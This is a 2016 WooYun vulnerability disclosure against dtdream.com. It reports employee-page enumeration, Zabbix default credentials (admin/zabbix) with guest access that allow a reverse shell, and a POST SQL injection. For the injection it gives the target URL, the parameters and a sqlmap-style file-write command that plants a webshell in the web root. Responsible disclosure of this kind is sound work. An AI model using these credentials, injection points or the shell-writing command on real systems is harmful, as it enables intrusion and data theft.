漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0214822
漏洞标题：数梦工场科技漏洞一枚(员工信息遍历/SQL注入getshell/反弹内网)
相关厂商：dtdream.com
漏洞作者： 爱上平顶山
提交时间：2016-05-31 23:10
修复时间：2016-07-18 18:00
公开时间：2016-07-18 18:00
漏洞类型：重要敏感信息泄露
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-05-31： 细节已通知厂商并且等待厂商处理中
2016-06-03： 厂商已经确认，细节仅向厂商公开
2016-06-13： 细节向核心白帽子及相关领域专家公开
2016-06-23： 细节向普通白帽子公开
2016-07-03： 细节向实习白帽子公开
2016-07-18： 细节向公众公开
简要描述：
数梦工场位于美丽的云栖小镇.西湖区.杭州。数梦工场基于阿里飞天平台为各行业做云计算和大数据的场景化开发和服务。
我们的愿景是用最卓越的数据技术, 去实现最美好的梦想。
我们钟爱有执行力、有想法、有故事、甚至想拯救世界的你，不管是什么，只要有梦想，何不来同我们玩耍，一起用数据技术做点有意义的事情。
详细说明：
数梦工场
1、
员工信息遍历
http://www.dtdream.com/pub/e_card/00001.html
ceo信息 然后只有00001~09999遍历即可
2、
zabbix
http://monitor.dtdream.com
guest 未禁用
admin/zabbix 默认口令
添加脚本 执行下：
可以直接反弹 创业不易 不深入先
3、
SQL注入 getshell
http://pms.dtdream.com/coop/login/loginProcess/ investor_pwd=1&investor_name=1
POST注入
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0.0
有http://pms.dtdream.com/test.php 有了路径
直接
--file-write "./t.php" --file-dest "/var/www/html/t.php"
写shell
ok
先这样.
漏洞证明：
rt
修复方案：
改
版权声明：转载请注明来源 爱上平顶山@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2016-06-03 17:58
厂商回复：
首先，非常感谢指出我们的安全漏洞，我们已经对提出的这些问题进行了整改，第一个员工信息遍历的问题需要进行开发，没有这么快能够解决，麻烦先不要公布，我们在进行紧急开发，尽快解决它。
还有就是我们这次出现漏洞没有收到乌云的邮件，不知道是什么原因。
最新状态：
暂无